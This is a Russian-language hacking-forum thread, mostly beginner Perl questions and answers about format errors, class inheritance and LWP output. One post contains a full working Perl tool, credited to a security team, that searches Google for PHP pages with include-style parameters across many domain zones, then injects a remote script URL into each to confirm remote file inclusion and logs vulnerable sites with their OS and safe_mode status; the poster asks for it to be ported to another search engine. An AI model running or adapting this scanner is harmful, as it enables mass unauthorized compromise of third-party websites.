ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #771  
Старый 27.10.2008, 20:26
teriion
Новичок
Регистрация: 26.10.2008
Сообщений: 3
С нами: 9231755

Репутация: 0
По умолчанию

только начал учить .copy/past с учебника

#!/usr/local/bin/perl
open(PASS, "sort -n -t : +3 -4 +0 /etc/passwd|") || die "Файл не найден!";
while(<PASS>)
{
($login, $pass, $uid, $gid, $name, $home_dir, $shell) = split(':');
write(); # Форматированный вывод данных.
}
close(PASS);
exit 0; # Завершение программы

### Описание формы вывода ###
format STDOUT =
Пользователь: ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$name
^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$name
^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$name
---------------------------------------------------------------
Login:@<<< Uid:@<<< Gid:@<<< Home dir:@<<<
$login, $uid, $gid, $home_dir
---------------------------------------------------------------
. # Это последняя строка программы



пишет

Format not terminated at 1.pl line 23, at end of line
syntax error at 1.pl line 23, at EOF
Execution of 1.pl aborted due to compilation errors.


Oo
 
Ответить с цитированием

  #772  
Старый 27.10.2008, 21:14
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию

в последней строке убери коментарий, оставь только точку
 
Ответить с цитированием

  #773  
Старый 31.10.2008, 00:21
akakernel
Новичок
Регистрация: 10.05.2008
Сообщений: 8
С нами: 9476191

Репутация: 0
По умолчанию

Списал из учебника примеры кодов работы с классами.
В первом случае при наследовании одним классом методов другого программа, использующая первый класс, работает нормально. Но если в этом классе определить свой метод, то программа его не находит.

Вот реализация первого класса:
Код:
package Hourly; 
 use Employee;  
our @ISA = qw(Employee); 
 sub new  
{ 
 	my $object = shift();
  	my $class = ref($object) || $object;
  	my $self = $class->SUPER::new();
  	$self->{rate} = undef;
  	bless($self, $class);
  	return $self;  
}    
sub rate { Тут реализация метода}  
1;
Реализацию второго класса и программы я приводить не буду. Вот что пишет мне при выполнении:
Код:
Can't locate object method "rate" via package Employee at __ line __
И второй случай с сокрытием данных.
Код:
package EmployeeClosure;   
sub new  
{
  	my $object = shift();
  	my $class = ref($object) || $object;
  	my $employee = {firstname => shift(), lastname => shift()};
  	my $hireDay = new Date;
  	if ($_[0]) {
  		my ($month, $day, $year) = split(/\//, $_[0]);
  		$hireDay->day($day);
  		$hireDay->month($month);
  		$hireDay->year($year);
  	}
            my $self = sub {
  				my $field = shift();
  				$employee->{$field} = shift() if (@_);
  				return $employee->($field);
  				};
  	bless ($self, $class);
  	return $self;  
}
Выдает:
Код:
Not a CODE reference at __ line 22; ( это строка return $employee->($field);)
Тут у меня вообще пока соображений нет.
 
Ответить с цитированием

  #774  
Старый 01.11.2008, 13:48
teriion
Новичок
Регистрация: 26.10.2008
Сообщений: 3
С нами: 9231755

Репутация: 0
По умолчанию

Цитата:
Сообщение от teriion  
#!usr/bin/perl

use LWP::UserAgent;

$client = LWP::UserAgent->new( ) or die;

print "Enter site:";

$url=<STDIN>; #Просим пользователя ввести адрес сайта

$answer = $client->get($url); #Отсылаем запрос на сайт

print "============================\n";

print $answer->header('server'); # Выводим поле Server из заголовка

print "============================\n";
вывод

Цитата:
Enter site:http://localhost/
============================
Apache/2.2.9 (Unix) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h PHP/5.2.6 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0============================
вместо
Цитата:
Enter site:http://localhost/
============================
Apache/2.2.9 (Unix) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h PHP/5.2.6 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0
============================
 
Ответить с цитированием

  #775  
Старый 01.11.2008, 14:08
bons
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
С нами: 9679872

Репутация: 347
По умолчанию

Код:
...
print $answer->header('server'); # Выводим поле Server из заголовка
print "\n============================\n";
 
Ответить с цитированием

  #776  
Старый 02.11.2008, 19:30
akakernel
Новичок
Регистрация: 10.05.2008
Сообщений: 8
С нами: 9476191

Репутация: 0
По умолчанию

Разобрался. В первом случае я сделал ошибку, указал не тот класс. Во втором - нашел опечатку в учебнике.

Последний раз редактировалось akakernel; 04.11.2008 в 11:26..
 
Ответить с цитированием

  #777  
Старый 15.11.2008, 13:27
satana8920
Постоянный
Регистрация: 22.09.2006
Сообщений: 531
С нами: 10333826

Репутация: 369


По умолчанию

в перле я ваще ноль но тем не менее прошу о помощи нуно сей скрипт перевести на http://search.icq.com/ могу за помощь поставить много много плючиков или кинуть на вебмини 1.5 $(так как боьше нету ((()
заранее спасибо с уважанием Сатана
PHP код:
#! /usr/bin/perl

# ================================================================ #
#          google-php-include-bugs searcher v 0.8                  #
#                          (c)oded by drmist\STNC                  #
#                          www.security-teams.net                  #
#                                                                  #
#                 ATTENTION. THIS SCRIPT IS PRIVATE.               #
#              ONLY FOR STNC AND FRIENDS. NOT FOR SALE.            #
#                                                                  #
#  Usage: perl script.pl --log=<log-file> --url=<test-script-url>  #
#  Test script:                                                    #
#  <?php                                                           #
#  error_reporting(0);                                             #
#  $s = md5("STNC");                                               #
#  $code = eregi("windows", php_uname())+                          #
#  2*eregi("apache", getenv("SERVER_SOFTWARE"))+                   #
#  4*ini_get('safe_mode'); echo $s."[$code]".$s;                   #
#  
?>                                                              #
# ================================================================ #

use IO::Socket;

@inc_bugs = ("page", "text", "print", "html", "url", "view", "show", "body", "cat",
           "inc", "incl", "include", "read", "write", "data", "code", "fname",
    "filename", "cont", "content", "menu", "open", "file", "id", "p", "f",
    "seite", "pagina", "vista", "vue", "visao", "datei", "offnen", "corpo",
    "corps", "ouvrir", "fichier", "abrir", "fichero", "inhalt", "contenu",
    "conteudo");

@zones = ("com", "net", "org", "de", "fr", "uk", "br", "am",
        "info", "name", "aero", "biz", "edu", "ws", "in",
 "cn", "us", "be", "it", "cc", "tv", "ru", "su",
 "jp", "kz", "se", "is", "ca", "gs", "ms", "vg",
 "be", "fi", "gov");

@ftypes = ("php", "php3");

$boundary = "ca73bad132fa0c99fe9ce9efe9029e21"; # md5("STNC");

for($i = 0; $i < @ARGV; $i++)
{
if($ARGV[$i] =~ /^--log=(.*)$/) { $log = $1; }
elsif($ARGV[$i] =~ /^--url=(.*)$/) {$script = $1; }
}

if(!($script && $log)){ usage(); exit; }

foreach $inc(@inc_bugs)
{
foreach $zone(@zones)
{
  foreach $ftype(@ftypes)
  {
    $request = "filetype:$ftype site:$zone inurl:$inc=";      
    print "\n[$request]\n";

    $request =~ s/(.)/sprintf("%%%02x",ord($1))/eg;
    @dn = ();

    for($i = 0;$i < 10; $i++)
    {
      @temp = get("http://www.google.com/search?filter=0&num=100&start=".$i.
       "00&q=$request")  =~ /(http\:\/\/[a-z0-9\.\-\/\?\:\&\%\=\_]{5,})/gi;
      foreach $url (@temp)
{
 if($url !~ /($inc=[^\&]+)/i) { next; }
 $left = $`; $right = $';
 if($url =~ /https?\:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/search\?q=cache:/i){ next; }
 if($url =~ /google\.com/i){ next; }

 ($domain) = $url =~ /^http\:\/\/([a-z0-9\.\-]{5,})/;
 if($domain =~ /^www\.(.+)$/) { $domain = $1; }
 $f=0;foreach(@dn){if($_ eq $domain){$f++;last;}}if($f){next;}
 push @dn, $domain;

 $print = "$left$inc=[INCLUDE]$right";
 if(($data) = get("$left$inc=$script\?$right") =~ /$boundary\[([0-9]+)\]$boundary/i)
 {
   $s = "$print - ".(($data % 2) ? "WINDOWS" : "UNIX").(($data > 3) ? ", SAFE_MODE" : "")."\n";
   $count++;
   print "[$count] $s";

   open LOG, ">>$log";
   print LOG $s;
   close LOG;
 }
 else {
   print "$print - no bugs\n";
 }
}
    }
  }
}
}

sub timeout() { close $sock; }

sub get()
{
local $request = $_[0];
local $port = 80;
local $data = "";

if(local($server, $url) = $request =~ /^http\:\/\/([^\/]+)\/(.+)$/)
{
  if($server =~ /^([^\:]+)\:([0-9]{2,5})$/){ $server = $1; $port = $2; }

  $sock = IO::Socket::INET->new(
    PeerAddr => $server,
    PeerPort => $port,
    Proto => 'tcp',
    Type => SOCK_STREAM,
    TimeOut => $timeout
  ) or return 0; # connection failed

  print $sock "GET /$url HTTP/1.0\r\nHost: $server\r\n\r\n";

  $SIG{ALRM} = \&timeout; alarm 10;
  while(<$sock>){ $data .= $_; }
  alarm 0; close $sock;
}

return $data;
}

sub usage()
{

print qq(Usage: perl $0 --log=<log-file> --url=<url-of-test-script-source>
);

}
 
Ответить с цитированием

  #778  
Старый 15.11.2008, 21:48
teriion
Новичок
Регистрация: 26.10.2008
Сообщений: 3
С нами: 9231755

Репутация: 0
По умолчанию

немног не в тему,но....
нашол скрипт,выдаёт:
Missing Perl modules:
Net:NS
Archive::Zip
хде их найти?
 
Ответить с цитированием

  #779  
Старый 15.11.2008, 22:49
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
С нами: 10021597

Репутация: 905


По умолчанию

cpan.org
 
Ответить с цитированием

  #780  
Старый 16.11.2008, 00:55
biophreak
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
С нами: 9880226

Репутация: 209
По умолчанию

su && perl -MCPAN -e'install Net:NS' && perl -MCPAN -e'install Archive::Zip'
как-то так
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
[php] Новичкам: задаем вопросы _Great_ PHP 16396 17.06.2010 21:19
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 15 (пользователей: 0 , гостей: 15)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.